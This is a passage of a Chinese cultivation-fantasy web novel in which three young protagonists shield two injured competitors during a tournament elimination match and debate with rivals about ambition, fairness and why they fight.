她看起来有些震惊和紧张,就像始料不及却早有预料。
云宁听不清外界生息,只是奄奄一息靠在她身上。
络净脸色变白。
“兄台,”徐怀初轻声提醒他扶着的决要子,“如果你坚持自己支撑走路的话,无论什么医修都救不了你的。”
决要子咳了一声。
“那就麻烦兄台了。”他靠到徐怀初身上。
“你们要帮这个冒牌货吗?东洲弟子和预言师继承人就这么不明是非?”
冒牌的云宁威胁开口,伸手拦在了几个人面前。
朝揽云见此不紧不慢地收回了手。
她探知到接受了她的灵气后,两人一时之间死不了就不再焦虑紧张,甚至还有心思把方才积聚的焦虑散发出来了。
“这话说的,我们只是想比赛早些开始,道友这就扣了个大帽子?”
“莫不是你心虚了?”络净不耐烦地尖利一笑,扶着云宁穿过他而去。
徐怀初也温和点了点头,极尽讽刺地说了句:“云镜宗从来最重人性命,也不知道友学到了如何风采,才连‘心如映云镜’之祖训都遗忘。”
三人一起将血肉模糊两人搀扶其上,抬起头看蝮蛇赛各观众入场。
“像猴子一样。”朝揽云莫名笑道,“九龙山真大啊。”
“呵,千百年没有变动的朝巅赛打今可是遍地是事啊!”一身富丽堂皇的汉家二小姐,也就是如今的槐家夫人颇为漫不经心地踏凤辇流云为骑走了进来,她扶了扶头上叮铃啷当的珠串,扫了天台下古道上五人一眼。
“我说云镜家的小孩,别站那杵着了,打扰我看比赛的心情,想要什么说法赛后讨去,”她看着想要理论什么的另一个云宁,蹙了蹙眉,眸子向下一划,“别跟我说什么规则公道,大家可都知道,我汉华可不是什么好相与的人。碍了我,大家都别想好过。”
冒牌云宁愣了片刻,在身旁人的示意下只得无奈离开。
“汉家二小姐真霸气啊,”朝揽云颇为赞叹道,“那位叫云宁的,你还能说话吗?可以就应个声。”
“恩人要问什么?”云宁赶忙艰难支撑抬起头。
“你是说云镜宗都灭了?”朝揽云若有所思敲着手臂。
云宁一脸地悲伤低下头,应了一声。
“看来最近异变不少啊,甚至还有冒充者。”朝揽云瞥了他一眼,却并没有因为他的悲伤而说话柔和一丝半点,“你们说北境北那群异兽异变这么久了,会有神智了吗?”
络净见他还有心思悲伤也便不再担心,一手扛着云宁,另一只手中玉牌纷飞。
“我算一卦?”
“不用,”徐怀初否决了,“看,台上有聪明人去调查了。”他挑眉示意天台上隐约退下之人。
“看来调查的人要遭遇不少袭击了。”络净嗤笑一声,“如果他们聪明的话。”
朝揽云摇了摇头,先赞赏了一句,“眼神不错,”而后猜测道,“说不定他们会惴惴期盼不被发现呢,然后为了明面上不暴露不做措施。”
“或许?”络净笑了起来,“赌赌?”
“可以,”朝揽云点了点头,看向血肉模糊两人,“不过,从他们登上古道,在这么多人面前请命时,那替代者就一败涂地了。”
络净骄矜一笑,表示认同。
“那就赌他们会不会动手。我赌会。”
“我赌不会。”
“怀初,你呢?”朝揽云轻抬眉眼,意气风发一笑。
“两位,”徐怀初扫了眼台上和身边两人对朝揽云和络净示意,“是否忘了还有一个选择呢?”
“哦?”两人恍然大悟领悟到。
“两位,”朝揽云抬了抬指尖,重新衡量了一下云宁和决要子身上的伤势,向他们怕说道,“看来我们要当一段时间你们的保镖了。”
“那便多谢道友了。”决要子知道自己无法再逞强,强撑着笑说道。
“别感谢这么快,卖身吧,”络净眯起眼,眼中泛出发现好玩事情的目光,“请我出手的费用可是很高的。而且现在还要带你们两个拖油瓶参加比赛,肯定有损我们破记录的时间。”
“所以,想好怎么报答我们了吗?”
“喂!”她敲了敲云宁的头,“还真是,说到最重要的事又晕过去了。”
——
“呦,”见余下众人皆沉默不语,汉华招呼起了刚刚进来的天骄城魏氏家主。
“小魏头,我说你这次怎么和你父辈不同,从来都不愿参与九龙朝巅会的魏家竟然来此,怕不是就盼着这个多事之秋吧。”
“哎呀,老李头,你们这次商铺的利润又折利八成。怎么?胜不过我了?”
……
汉华多话地怼着在场每一个人,而刚刚被她怼过的小魏家家主也不敢发言,不愿得罪这个如今天骄城如日中天的槐夫人。
“槐夫人还是少说些吧,”似乎是时间将至,鹿渊阁的长老说道,“我们还要看台下五位少年英才的表演呢。”
此话说出,天台上各位神色各异。
“徐宗主,你安排好了吗?”在不起眼的天台边缘处,两位刻意躲避众人视线的宗主暗自交流着。
“怀初这孩子不用操心,”徐宗主澄然答道,“你知道这孩子是我们一位老祖抱回来的,他身上种上了老祖的烙印,不会有生命危险的。”
“倒是你们?不方长安带出来的孩子,如果你们派人去保护她,真的不会成为她的累赘吗?”
项九洲半笑不笑,一双眸子眯了起来盯着徐宗主。
“这就不劳你操心了,你唯一要担心的就是你的弟子是否会拖后腿。”
“项兄也不必操心,”徐宗主摊起了手,“怀初可是千年难得一遇的剑道天才,他的悟性可以让他在无法亲近灵力的情况下,成为千仞宗如今剑首。”
——
“打败我们,昨天淘汰的人就可以再次站上朝巅会的赛场了啊。”
朝揽云扯起了一抹笑,看着古道外阵法逐渐褪去,无数神色不安的面庞出现。
古道萧风,踏九龙颈,除武具,笑对奔涛躲斩华。
“由于临时加人,做出的调整竟然是他们可以用武具吗?麻烦了啊。”
徐怀初叹道,“我们再多能耐也没办法带着两个死尸般的人对战啊,尤其这也不是死尸,更麻烦了。”
朝揽云这才反应过来。
“应当不会有人往他们身上去打的吧。”
徐怀初无奈又温柔看着她,明明没有夕阳朝霞,眼眸中却像水一样软得不像话。
“我也很希望如此的。”
“别唧唧歪歪了!”络净喊了起来,“无虞,把他们两人摆过来,趁着阵法未散,我们布几个阵法,我把玉牌也留在他们身上。等到把大多数人出场,我们再带着他们往古道终点走。”
说罢,她看着微歪了头,因玉牌眼中露出些迷惑和担忧的朝揽云干脆利落说道:“反正你也不会让我淘汰的吧。我们这好像叫?”她眨了眨眼,眼尾黄霞浓艳亮人,“团体赛?”
朝揽云听到这句话脑子开始布满一种东西,此刻她终于明白慢慢集聚到她胸口的,这种不明不白的情绪是什么。
她想描述一下,却总也说不清。
搬完两个人后,她蹲在络净旁边看着她布阵。朝揽云思考着,发呆地落目阵纹。
“络净!”她的眼睛越来越亮,她兴高采烈地扬头起来看她赞美道,“你真可靠啊!”
络净措手不及,她眼尾的黄霞掺上了些红。
“闭嘴,”她手中玉牌停顿了片刻,别扭别过头去道,“叫我南风,只有你能叫。”
朝揽云笑得开心。
“好啊!南风!我会保护你的!
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我们是团体!”
她很高兴,将近把什么不开心的都忘了。所以,当络净示意她布阵的时候,她才想起来开始集聚灵力。
“念昆!起首,护此地,名云宁,名决要子。”
“否乾,八方之气往此终来去!赦地囚,护此!”
“哧成!”
地上躺倒两人身畔浮现出来无数影影绰绰的魂影。
“南疆术法?”徐怀初见此惊讶望向朝揽云。
“小鬼没带。”朝揽云见此以为他是要问小鬼,摆了摆手向他示意,“小鬼应当也算武器的吧。”
“揽云学过南疆术法?”徐怀初又看了看那魂影,直接问道。
“没有,是根据昨天看到的疆修模拟的,还是有些难的,昨晚我模拟了几个时辰才模拟出来,没想到派上用场了。”
几个时辰?
徐怀初瞳孔一震。
“你又熬夜了啊。”络净凑过来,托着腮看她继续布阵,她瞄了眼此言过后便神思不属的徐怀初命令道,“徐少宗主,你去看外面的阵法什么时候消散去,总不能我们都在这里,万一没布完阵被偷袭怎么办?”
徐怀初这次明白过来自己应当做什么。
“果然,”络净趴着朝揽云身边叹了口气,“小徐如今还是一个新人啊。和以后完全不一样。”
“我们都是新人啊!”朝揽云笑了起来,她布完阵站了起来。
“那么,像话本中常见那样。”她伸手像络净。
“你好!新朋友!就算是先认识的长大的我,现在也要和我重新认识哦。我们都可以是你的朋友。”
“你好,”络净的耳朵、脖颈太阳一般,红了又橙,橙了又红,不同额度的红掺杂在了一起,五彩斑斓的,“懒云。”
她的声音带着些不确定。
朝揽云笑了起来,干净又意气风发。
“阵法消散了。”
她听到徐怀初的提醒,侧手接住了阵法破灭后扔过来的一张符咒。
“那么!南风!我们的团队赛开始了!”
两人击掌,借助对方的反作用力,往不同的方向斗了去。
——
“好久不见!”背刀的白衣马尾少年百无聊赖地靠在古道的终点,看着黑色金甲面具男子走了过来。
“好久不见。”沉默斟酌许久,面具男子终究还是停在原地应和道。
“怎么这么冷淡?你以前可不是这么冷淡的性格,就四五年不见,怎么成了锯嘴的葫芦了?”白衣刀修颇为风轻云淡地取笑道,就像发生在他们之间的曾经全然不见。
不,面具男子否认想道,他看着白衣刀修,或许对他来说真的全然没有。
“人总是会变的。”他说道。
“好吧,”白衣刀修向古道那边努了努嘴,“台上那几个,你为谁而来,根据情况判断,我们这些时候怕是都要一起行动了。”
“跟你是同一个。”
面具男子沉默很久才看着他回答道。
“是吗?”白衣刀修的眼睛亮了亮又暗了暗,“这位师妹的确有本事。”
“彦眭,我过今年就要去北境了,本来以为找不到你了,没想到今天这么幸运。”
面具男子沉默着走上前,靠在了他旁边,摘下面具。
“木睦,只有你会透过面具就能认出我了。”
“毕竟我们就是带着面具认识的嘛。”木睦笑了起来。
“你们东境的人都不是好人,每一个人都要去北境以北,每个人给出的都是这样的理由,无法让人拒绝恼怒的理由。”彦眭不是恼怒,是悲伤。
“嗯?”木睦笑了起来,“毕竟我们就是这样长大的,父母这样,我们这样,下一代还会这样。”
“没想过改变吗?”彦眭侧过头来盯着他,“你没想过改变吗?”
“彦眭,”他开了口,“想改变的人宗门不会送他们去北境的。我们是自愿的,你知道的。”
彦眭不再说话了,木睦便也发呆似的侧过了头,去看比赛中的几人,那个即将接他们班,未来也要去北境的人。
“彦眭,”他叹了口气,“你说赛场上那几位,将来也会为她这么伤心吗?”
春雨下得朦胧,谁都没想到会下的一场细雨,总有人知道这吹不走疲惫。
29. 你能在这个时代留下名字吗?
我是西漠的孩子,出生在群山的簇拥,我看过夕阳晕染黄沙,我曾日日习武企图博群贤盛名。我会在九龙,我会取得前名,在全天下少年人都会来争夺桂冠的朝巅会。
我会赢的,带走盛名,会在天骄城对榜首的招待下酌千樽酒。
……
“阿嬷,九龙朝巅会是什么?”
“是全天下人都向往的盛会,好好练武,你会站上那里的擂台的。”
“站在,天下人的目光之下。”
……
“我们这些散修是从来不能与宗门子弟挣得,为何这蝮蛇挑战者都是宗门子弟。何时有我散修一片天地。”
……
“为何,明明在宗门里我也是破受称赞的弟子,为何不过第一轮,就被一鞭挥下擂台?我不服,我一定要胜,取得复活赛的资格。”
……
人群看着面前三个少年顾及着那两个血肉模糊的人,手脚逐渐施展不开。
明明无比期盼取胜,明明企图参加复活赛。明明企图在这个时代留名,作为天骄!盛谈!
却没有人喊出那句。冲啊,赢了她们,我们就会获得参加复活赛的资格。
对啊,赢了她们就会再得到比赛的资格了吧。
在家乡名声赫赫的他们,也会留在这个世界的名册上,就有机会看到,自己的名字落于榜上流传了。
本该是这样的。
真的是这样吗?
“她们要带着那两个血肉模糊的人参加比赛吗?这是拖累吧。”
有人发呆般地想道。。
“我没有想过这是一场不公平的比斗,无论是人还是武器。如果比赛如此不公正,那我期盼的胜利,期盼的留后世名,是什么呢?”
“我们,真的要去欺负几个小孩子吗?我已经是最高年龄参赛了。她们看起来才堪堪卡在参赛的最低岁数啊。而且如此小年纪,年华硕硕参加蝮蛇赛。我真的能赢吗?”
“她们为什么要参加蝮蛇赛?这么小的年纪已经可以匹敌这么多的人了吗?”
古道上陌生的三个人,与他们对视。
明明方才还有些嘈杂的阵法外,一时间静默了。
没有人说话,无数无法被人察觉的心声蕴荡在每个范围。
阵法消散了,不知是何人而起,他们内心沉重却又迫不及待地向三人冲了去,有人绕开了地上两个血肉模糊的躺“尸”,向她们攻击。
刀枪声狰狞,朝揽云一个闪身躲过面前人的刀刺,趁他站立不稳踢上了他的背,左手快速将他脱手而出的刀刺接住,扔出古道。
“武器!”那人心惊,向前扑去。
侧面人符咒随即袭来,朝揽云立马反翻躲开,顺便用力将去追刀刺那人踹开了符咒的落脚点。
“哈,”刀刺人喘着粗气,有些惊愕地看着朝揽云反身而去应对其他攻击,没有再看他一眼。
明明还被攻击包裹着,明明是对手,为什么要把我踢开攻击范围?
他很清楚,虽然那符咒无法令他死亡,但也会是重伤的程度了。
箭!
一箭破云而来——
他瞳孔紧缩。
“懒云,”络净猛然出现,神清气爽地施咒将箭减速,用惹人喜爱的傲慢,骄矜道,“不是说保护我吗?这可是我保护你了!快快向我道谢俯首!”
“是吗?”朝揽云思考着她的预言应当是如何使用,挑了挑眉,借力侧身飞起,踹开一柄正被甩向此处的长枪,“那南风可是最最厉害的保护者,是我小看南风了,赔罪赔罪。”
“那是当然,你离了剑打得过,我离了玉牌又岂是手无缚鸡之力。”
朝揽云一遍应和,一遍应对着那无数攻击。
突然,她眼眸余光中瞥见一起辉光。
“络南风。”
她立即抓住络净将其甩出。一起大阵浮现在了原地,本是毫无踪迹的地方,却漫上了不少不知阵法的人的血。
而那血肉模糊两人所在之处,毫无人迹,只有一层浅浅的战争余波被阵法荡开。
“徐怀初,”朝揽云接着阵法灵力冲击落到了徐怀初所在地,她与徐怀初背对,一同将攻击之人泄力甩出,“我们要快点结束比赛了,半数一赛的人都在此处,更不论有些只是运气不好所以败的。实力差距太大,有些人会被余波伤害的。”
“所以?揽云的想法是什么?”徐怀初以指作剑,一斩过了一片人,朝揽云也快速掐咒将群人震出了古道。
他眸光清冽,看起来蛮有把握朝揽云已经有了实现办法的。
“我们的目的是到古道尽头,古道极长,我们一人背一个人,往古道尽头走。把这两个人扔到终点,再回过头来放开手脚对战。而那时,能跟上我们的人,也就不会被余波伤害了。”
她轻声抱怨着,“这样子大型法阵都没法施展的,只会消耗体力。”
徐怀初有些担忧朝揽云考虑太多,放不开手脚。
“那我们可要快些了,”徐怀初笑着,他将手印结出,看着面前还在不断蜂蛹而来的对战者,眼中兴味闪烁,对于这第一次正式对战。
“当然。”在不胜数攻击中,朝揽云抽隙回头,风光意朗笑道。
于是,在朝揽云对络净扬起手,一面对抗着袭来的攻击,一面比比划划地试图描述着什么,最后指了指地上躺着的两个人后。
络净也一脸明白地招手向了终点,而后点了点头。
“南风真的能看到很多未来的细节啊。”
正当徐怀初大为疑惑时,朝揽云弯起透彻的眸子,这么感叹道。
徐怀初突然之间就明白了,尽管手中还在不断对敌,但一瞬间茫然又无措看向她,焦虑又迷茫委屈。
“懒云什么时候试探我?”
他在两个人再次护下朝揽云后背,给敌一击,轻声,似乎没有想让朝揽云听到一般说道。
朝揽云难得地走了
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神。
“我们这般聊天,会不会有些不尊重对手。”
朝揽云似乎听到了,但是没有回答,或许是根本不理解他的话。
徐怀初便阖了眸,掩去落寞,一指剑气挥开面前几人,跟着朝揽云奔向云宁、决要子。
地上阵法附近只有部分被波及到的枪兵和灵气余波,没有人刻意向他们扔任何武器。
没有人去企图淘汰这两个血肉模糊的人,来得到复活赛资格。
“这些阵法完全没派上什么用场啊。”朝揽云轻声笑了起来,眼眸瞳亮,“我喜欢这里。”
“真让人喜欢。”
她重复一声,与徐怀初快速背起地下两人,飞起运气,奔向古道终末。
络净便连忙跟在身后,运起玉牌防御。
“对了,南风。”朝揽云瞥了身后一眼,见赶上的人不多,便不紧不慢地边飞快赶路边聊,“一开始我没留意,为什么你带着玉牌?不是不可以带武器吗?”
“你的玉牌。是什么?”
“这不是武器。”络净看着气定神闲左避右闪的朝揽云颇为气急。
“哦。”朝揽云点了点头,隐约间看见半道上亦有不少人等着那里。
她思虑着从他们眼前飞速窜过,并且不被攻击到,需要多少时间。
“这古道多长啊?”她后知后觉问道。
“几千米,我们才过半。”徐怀初回答道,他垂着眸,有些赌气,却又没有表露出来,真让人不知道他是怎么想的模样。
……
“阿嬷阿嬷,追过山逐过风,太阳曾在我前方,低低的草地轻轻吹,过往便是牛羊地。”
阿嬷阿嬷,不要慌,草原故里有英狼,有利爪有獠牙,断不会拿了个败仗回家乡,东家灾西家祸,不将蔓延西漠沙。
拉弓蓄力,只要轻轻一放,这来自西漠草原的箭就即将射上那纷飞的红发带。
嗖——
“伴敕勒~北山下——行武荡步走四方~”
“湖如沙丘布秕谷,残寒尽渡西漠观。雪憨憨,飘落血,俄来千秋玉醍醐……”
“东洲没,血银河~刺异声声焚道流,千秋万代谁敢绝,北境城外裹尸还~”
西漠的残狼会在这场比赛中得到结局的。他睁开眼。
——
朝揽云瞥见古道尽头的两个身影,反身刹车,一转,手腕发力将背上的人扔了过去,随即看着身后追逐无数人欢欣笑了起来。
“现在,我们好好打吧!”
在九龙留下第一次现世的痕迹。
跟着她一起扔出背上之人的徐怀初,和停下了脚步的络净也转过身来,和她一同面对着众人。
玉牌翻飞,剑气将起。
“好叫你们心服口服我们的胜利。”
“诸位,期待和你们的战斗。”
“我期待很久了!”
来自天南海北,期待着取得名次的人,停下了脚步。
30. 独角台上的无谓纷争
一步落,步步落。
那是苍薄的雪之南,薄红绫翻飞在人眼前,把人的天际都染成了红色,幽蓝缙白的雪之故乡仿佛没了颜色。
棕瞳少年睁大着眼,后仰着,盯着她上方朝揽云纷飞的发带。
会成为婺江最强的巫女。该怎么保护族人们。
她看着身边无数人都在同时和面前人对打,她的发带飞舞,应付得那么轻松,没有束手后无数符咒阵法亦如信手闲弹。
如果…自己也能做到这样呢?
——
他们死了,地上的血把婺江特产的草药都毒死了。杀死了异兽,可是异兽还会再来,那时候还要死多少人?
“我有办法救他们吗?我有办法不让他们死去吗?我有办法阻止那群异兽吗?”
女孩悲哀愤怒地问道。
被提问者有着慈祥无奈的笑容,她用那粗糙的手掌揉了揉她的头回答道。
“那便快快长大,长大了修炼,然后去比赛,取得了成功就能保护自己和别人。”
去比赛,去九龙朝巅会,她知道这个比赛指的是什么。那些死去的人也曾经外出去参与过这个比赛。
可是他们都死了,那么,是不是要取得成功才能……
——
女孩抬手蛊虫,毒气纷飞,向着朝揽云冲去。
朝揽云皱紧了眉,一时之间应付不及。
毒液向她面上而去,朝揽云甩身旋过。
“南疆中人,操纵毒性的确强。”
她转过身,身边数数人见那毒液恐被波及便皆退后。
“你好!想和我完整打一场吗?我想与你的毒术较量一番!”
朝揽云看着那被片刻腐蚀的古道起了兴趣,向她伸出手,兴高采烈道。
“和我较量?”棕瞳女孩颇为惊诧,她看着朝揽云向侧面横起一脚,黑色的鞋底再次将趁此袭击的一人踢出场。
“不想吗?”
朝揽云微笑着,借着因她方才毒液范围内无人敢近身,而飞速构造着阵法。
“你这术法很是新奇,若是你使毒的方法再加隐蔽快速,连我也是要中招的。”
“赛场上还聊这些,是真的傲慢啊。”赶来之人手着长弓,他瞥了眼颇有动容的棕瞳女孩,“惺惺相惜可不是用在这时候的吧。”
“可是,”朝揽云轻松地应付所有人的攻势,用极为透彻的眸光没有看向任何人,“来到这里的人其实都在怀疑自己吧。可是,我更想和你们使出全力比斗,证明自己的确可以胜利的。”
她无奈最后把两个符箓甩到络净、徐怀初之处,两人间隙中快速符成。朝揽云站在阵成的光芒之中,看着质疑的长弓少年。
“其实我不明白,为什么输了就要怀疑自己,是因为九龙朝巅会很重要吗?但是北境亦有沟通时空的天梯可以去得到机缘啊。”
阵法已成,有进入者便被传到古道边界处,而后被络净的玉牌或是徐怀初只手剑气推出。
“或者你们也是为了昆仑重行而来?为了前往异界得到什么?”
大多数人都沉默在了阵法外看着她们。
“你不懂,你的确不懂,”一直寻攻击间隙的一人开了口,“我毕生的信念似乎就是这一场比赛了,我来到这里,而后第一场就被淘汰了。我不想承认我是最弱的,但是我似乎就是。”
“而且你强的可以和我们这么多人打,不是吗?”她的声音逐渐微弱。
她甚至都没搞清自己究竟想说什么,只是因为朝揽云的不解生出了决绝的悲哀。
朝揽云踏出阵看着她,没有人突兀动手。
“强不是原罪。”她首先这般叙述道,而后开始仔细思考。
“你是因为恰好遇到了,一个打得过你的人,从而怀疑自己很弱?”
“如果真的是那样不是更可悲了吗?”
朝揽云低下头看着她悲哀愤怒的眸光。
她的皮肤有些粗糙,正是长期作战的人所具备的。
“你要知道九龙朝巅会的选拔对非榜首的人并不公平,它的举办一直只是为了分发资格。”朝揽云摊了摊手,而后认真提问道。
“你,有去杀异兽对吗?”
女子不知道她想说什么,还是点了点头。
朝揽云表情疑惑了起来。
“我想知道你来这里想获得什么?荣誉、认可、赞美还是前往异界的资格?”
“我不知道。”那人低垂着头,“我不知道,我只知道要到这里来,参加比赛胜利的人就可以救更多人。而且,我也的确想获胜,没有人想输的吧。”
如果这样的话,朝揽云看着面前人突然想到,她还要战胜无数这样的人才能夺得桂冠,踏着无数人的希望,去过那独木桥。
——
“度灵,你知道什么是无谓的斗争吗?”
“不是必要发生的斗争。”
颂九昭最后是怎么样说的呢?
这是无谓的斗争吗?
——
看台上人见下方陷入寂静,开始窃窃私语。
“彦眭到了吗?”汉华漫不经心地招了招身边人,她嘴角蓄着一抹笑。
“到了。”身边人应和着。
“明天的天骄城之约安排好,我可是越来越期待,和金鳞的这位小姑娘好好相处了。想当年她逃出天骄城前也号召了不少人吧,想来这次也只是和之前一样逃了吧。”
她玩弄着指甲,脸上流露出了几分怒意。
——
“我们都想不明白很多事情,真好!”
风吹过了少女的发丝,朝揽云笑了起来。
“自己举办一场比赛吧!九龙朝巅会之所以被追捧不过是因为历史和前往异界的机会不是吗?如果不是为此奋斗的话,我们自己举办一场比赛吧!”
“我们的时间还很长呢!举办一场比赛,更公平的,带给人希望的比赛!”
少女抬起头。
“那异兽呢?谁去斩杀?”
“你觉得我杀过多少异兽呢?”
朝揽云眨了眨眼,“我的想法或许不能完整说服你,但是,你的想法呢?比赛不会耽误任务的,你会为了比赛而耽误去救人吗。”
“让人了解自己的水平从而找到方向提高,不也是一件很重要的事情吗?”
“别说大话了。”长
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弓少年冷笑道,“你不也是在为了晋级比赛,你和我们有何区别?”
“并无区别!”朝揽云很开心地笑。
“所以我们开打吧!”
“不过,”她退后站到徐怀初和络净之间,意气风发笑道,“阵法的确是我的能力,想和你们认真打一场,不代表我会抛弃阵法。要知道,我可是个灵修啊。”
“灵修?谁信啊。”阵法外有人咒了几句,“就灵修还有这般武力。”
“脏言。我不喜欢。”朝揽云就这么风轻云淡地一个符咒将他击出了古道外。
“方才看你在那辩言,还真怕你说出什么,比如请恨我吧,如果你这般崩溃。”
络净就在阵法外不敢向前的一片寂静中,歪头看向了朝揽云,咬着唇笑了起来。
朝揽云僵了片刻。
“我知道了。”络净偏过头去,“别想太多好吗?很多事情不想清楚也是可以过的。”
徐怀初沉默着,在只有他处身致外的这片氛围中一个个淘汰着他人。
他讨厌这种感觉,好像被排斥在外了,幸于朝揽云习惯性顾及他人,扭头向他说了话。或者也悲于此。
“怀初。”她叫了一声不知道要说什么。
“跟我就没话说了吗?揽云。”徐怀初笑得还是温和。
朝揽云为难着逃避了。她转头向了阵法外的人。
“我们就一直僵着吗?或者我扩大下阵法?”
“打吧。”徐怀初笑道,首当其冲冲了出去。
朝揽云又转头看了看络净,络净还是撇过去了头。
她难得遇上这般事,而且自己也开始感到懊恼了,如果自己只能给别人带来不愉,那么交朋友的想法真的有意义吗?她蹙起了眉。
那长弓少年射箭向她袭来。
他喊着。
“我们凭什么听从你的吩咐?”
“这是吩咐吗?这只是一个想法,或者你们在讨厌我?因为我站在你们所有人的对立面?”
“但是,你们已经输了啊。”
“这就是一场争斗,只有夺得首位的人才是最强者。”
“话是这样说的没错。”朝揽云反身踢开袭来一箭,“你知道吗?运气在这场争斗中也是重要的实力。”
“我知道你为何懊恼了,你认为你输得无辜,你比赢的很多人都强,但就是被淘汰了。”
“可是天骄城第一代榜首的那句话真的很对,”朝揽云嚣张一笑而后将他踢出场,“九龙赛场只争榜首,余者少人落目。”
“你就那么自大认为自己会是榜首?”
长弓少年被踢出前最后喊道。
“呐,”朝揽云隔着鲜亮红发带回头一笑,“谁知道呢?”
来此没有目标吗?朝揽云继续应付着诸多人的出手,快速将人出场。
古道上三个人,阵法之外明明只剩那些空余却全然没有接触。
谁心里都有傲气,更不论少年,明明是看台上格外刻意组成的团体赛,如今却活生生成了三人各自的独角台。
来此没有目标,那离此呢?
一抹红绡舞过,朝揽云失神想道,我呢?
31. 说我的风声,为什么不去建立新的……
这般比赛的结果会是什么呢?
——
“朝揽云。”
“你方才说的比赛,若我们牵头对众人是没有说服力的。”
朝揽云诧异回头,一直除了感到兴趣外,只是温和发呆的表情终于有了些变化。
“你的解决方法是什么?”
那使毒的棕瞳女孩和长弓少年似乎达成了什么共识,她们一同行来。
“我想九龙朝巅会的冠军可以作为这个领头人。”
“是吗?”朝揽云对着眸色深沉的长弓少年惊讶道,“真厉害!期待你们做到。”
在装糊涂,棕瞳女孩皱着眉,攥起了拳想要开口,却见朝揽云随即无奈摆了摆手,双眼愉悦,“期待我吗?”
“什么?”
女孩一时之间没有领会。
“没什么。”朝揽云神情愉悦地转了身,准备离开。
“她就这样走了啊。”棕瞳女孩喃喃道,“不像。等等!”她猛然间看到朝揽云手腕上的青筋虽极浅,却是猛然间盘曲如蛇般,虚影一瞬间动了下。
“朝揽云,”她奔过去,抓住她的手腕,“你中毒了。”
朝揽云回过头去,表情看起来没有什么触动,就像早就知道,虽然她并不知道。
“你知道?”棕瞳女孩退了一步,有些尴尬的模样,恍然大悟道。
“不,”朝揽云低下头看了一眼,笑了起来,“实际上我不知道的。谢谢关心,你叫什么名字?”
虽然她说的是实话,但是在走神回忆着这蛇影的产生同时说话,总是显得格外不真诚的。
傲气,棕瞳女孩脑海中一瞬间冒出这个念头,她似乎本是不在乎知晓他人名字的。现在自己是被看见眼里了吗?
被这么一个天才却目下无尘的人看在眼里,她本该是有些感到折辱的,但是实际上,她正在为一个强者将她看在眼里有些窃喜。
正如所有崇胜者的崇强。
朝揽云瞳孔虚妄地看着她,眼中通透迷茫。
“幽篁族的旁支,游恍族,游恍亩。”
“你好,”朝揽云点了点头,很面目阳光地说出否决的意见,“我想比赛是要有参与者的。你或许需要一些愿意参加比赛的人,仅有两个志同道合的人是举办不起比赛的。”
她挑起眉,眯起一只眼,思考着摊开了手。
“要快速拿下声名权,除非本就有声名权的人参与,否则要经历漫漫旅途。而且会参与这种比赛的首先是散修,若想要招揽散修,就把你这先报家族的习惯改了。”
“知道吗?”
朝揽云显出了些精神,期待着她的回答。
“散修?”游恍亩为难地念道,“我是宗族子弟。”
“这种比赛也只有散修会参加了。”
“我有散修的门路。”朝揽云收回眸光,大概评估出了她目前的能力,不紧不慢地继续说,“但是这不是我的比赛,你们要自己争取。我可以给你们个联系散修的机会,你们能说服他们吗?”
她颇有些百无聊赖地向后一靠,就靠着没有遮挡物的空气,在那里斜斜的、没有正形地看着两人。
明明是极难站稳的动作,却硬生生给她造出了几分风流肆意。
“我知道你是谁了。”长弓少年紧紧盯着她,突然向前开口了,“度灵!东洲有一旅舍,为散修之最,传说她们的继承人是一个被收留的女孩,散修皆称其为度灵。你是度灵!”
“所以你有散修的门路,所以你,这般超凡脱俗。”
“我这么厉害吗?”
朝揽云这才移开目光,指着自己,正眼看了他。
“怎么猜出来的?”
“你的红发带。”长弓少年紧紧盯着她。
“好眼力啊!少年!”
“不过,我不信。”
“不止这些吧。”
“度灵?”游恍亩低声呢喃。
“这般语气没有第二人吧,观星旅舍的人皆是这般散漫狂傲。这般年纪,还绑着红发带的也只有你了吧——如今观星旅舍,年少且还是人类。”
朝揽云心不在焉地应答了一声,眸光间一片乌光袭来,她手一伸,接过了徐怀初抛过来的乌傩剑。
“谢了?所以你还在生气吗?”
她随意招呼了一声,不想再听什么,或许会到来的‘观星为何失踪’之语。
徐怀初看着大大咧咧在两个陌生人中间,这么问出来的朝揽云,本就只是强制温和了些的脸色一下子凝固了。
他颇有些尴尬。他还在生着什么气,却并不想被人指出来。
“果然,我不确定的原因就是没有这把剑。”
“你们有剑啊?为什么赛场上不用?”游恍亩惊讶道。
“因为蝮蛇赛不能用武器,络净是例外,她的玉牌不是武器。”徐怀初走过来代替朝揽云回答道。
鉴于一会师父要找他,他抓紧时间,小声对朝揽云说:“下次见面我们聊聊好吗,明天早上,在北城门集合之前,我去找你好吗?”
朝揽云颇有些新鲜地看着他,虽然不知道为何生气,但是生气了还过来帮忙解释。
啊,她恍然大悟,真是一个老好人啊,完全值得小孩子学习的,感觉教下牙尖嘴利的小白定是极有乐子。
而她再次发觉,对于她来说在外这么多年必须的警觉,对其他人来说似乎是一种伤害。
朝揽云是朋友里的糊涂蛋。
她有些头疼,不懂这些一起完全没有关系的行为,到了这里怎会如此,令人不悦。
想到这,她再次落落寡欢。
不知看出了什么,游恍亩眼睛在两个人脸上移动着,她再次发问。
“那你的毒有被治疗吗?它看起来并没有得到遏制。”
“毒?”随后走过来的络净听到立马转向朝揽云,提声发问。
“就是毒啊。”朝揽云糊弄道,“反正会好的。”
“你又这样!”络净皱起了眉,“伸手。”
“怎么了?”朝揽云疑惑把手伸出去,看见络净把一枚玉牌放到自己掌心。
“拿好了,不许推脱,”她回头和游恍亩交涉道,“你可以看出她中了什么毒吗?”
“南风。”
“揽云,”朝揽云刚想去解释自己没什么问题,就被徐怀初拦住了,“我想,我们真的需要交谈了,不只是我,还有你。”
“什么意思?”
徐怀初像是无数次欲言又止之后,只吐出了一句。
“可以不要用不在意自己,作为坚强吗?我会去追求你的认同的。”
朝揽云只感到了一阵惊惧感,她自己也说不出自己的想法。只能哈哈应着笑了,然后扯了扯嘴角,不知道再说何物。
什么坚强,什么追求认同,本就相识无几的人说出这般话,就算是朋友也……
是朋友的吗。
他手中浮现一张玉牌,“九龙山的联络阵法覆盖范围很广,我们以此联络。”
“我认为这并不是必要的。怀初。”在说完片刻,反应过来加上“怀初”二字后,朝揽云便道,“或许我们可以谈谈什么时候去道观?这不是更重要吗?”
“你更重要。”
“不要说这种话了。”谁知道是不是别有所图呢?判断一个人的虚情假意太难了。朝揽云逃避着徐怀初真挚的瞳孔。
“你师父还没有来找你吗?不是说要去,记录什么吗?”
徐怀初深深看了她一眼,“我知道你不会躲着我,对吗?”
朝揽云没有说话。
人声阵阵,围绕着为不同事情焦虑的几
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个人身旁,就像一阵风,吹过去,吹过来,没有影响,却又永远留下了。
